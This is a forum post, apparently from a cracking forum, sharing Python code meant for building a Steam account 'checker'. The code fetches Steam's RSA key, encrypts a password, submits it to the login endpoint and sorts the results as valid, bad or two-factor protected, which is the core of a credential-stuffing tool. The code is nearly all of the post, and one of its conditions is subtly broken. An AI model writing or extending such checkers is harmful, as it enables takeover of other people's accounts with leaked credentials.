OP 08 May, 2022 - 03:14 PM
(This post was last modified: 08 May, 2022 - 03:29 PM by Deaepunisher. Edited 1 time in total.)
So I Found Out How To Handle The RSA Thing That You Get While Trying To Make Kekr For Steam On Python
Pls Dont Forget To Givr Credit
Code:
import base64, time, requests, rsa
username = input("[+] Username: ")
password = input("[+] Password: ")
# All Credit Goes To Me On Cracked.io/Soud69
# Pls Dont Forget To Give Me Credit If You Make Any Kekr <3
req = requests.post("https://steamcommunity.com/login/getrsakey/",data={"username":username},headers={"Accept":"*/*","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8","Origin":"https://steamcommunity.com","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148","Accept-Encoding":"gzip, deflate, br","Accept-Language":"en-us"})
rsa_mod = int(req.json()['publickey_mod'], 16)
rsa_exp = int(req.json()['publickey_exp'], 16)
rsa_timestamp = req.json()['timestamp']
last = rsa.PublicKey(rsa_mod, rsa_exp)
password_i = base64.b64encode(rsa.encrypt(password.encode('utf-8'),rsa.PublicKey(rsa_mod, rsa_exp)))
login = requests.post("https://steamcommunity.com/login/dologin/",data={"donotcache":time.time(),"password":password_i,"username":username,"twofactorcode":"","emailauth":"","loginfriendlyname":"","captchagid":"-1","captcha_text":"","emailsteamid":"","rsatimestamp":rsa_timestamp,"remember_login":"false","oauth_client_id":"3638BFB1"},headers={"Accept":"*/*","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8","Origin":"https://steamcommunity.com","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148","Referer":"https://steamcommunity.com/mobilelogin?oauth_client_id=3638BFB1&oauth_scope=read_profile%20write_profile%20read_client%20write_client","Accept-Encoding":"gzip, deflate, br","Accept-Language":"en-us"})
print(login.text)
if 'The account name or password that you have entered is incorrect' in login.text:
print("[-] Bad Info")
elif 'Incorrect account name or password.' in login.text:
print("[-] Bad Info")
elif '"success":true,"' in login.text:
print("[+] Login Success")
id = login.json()["transfer_parameters"]["steamid"]
print(f"ID: {id}")
elif 'requires_twofactor":true,"' or 'emailauth_needed":true' in login.text:
print("[!] 2Factor")
else:
print("[-] Error!")
print(login.text)
input()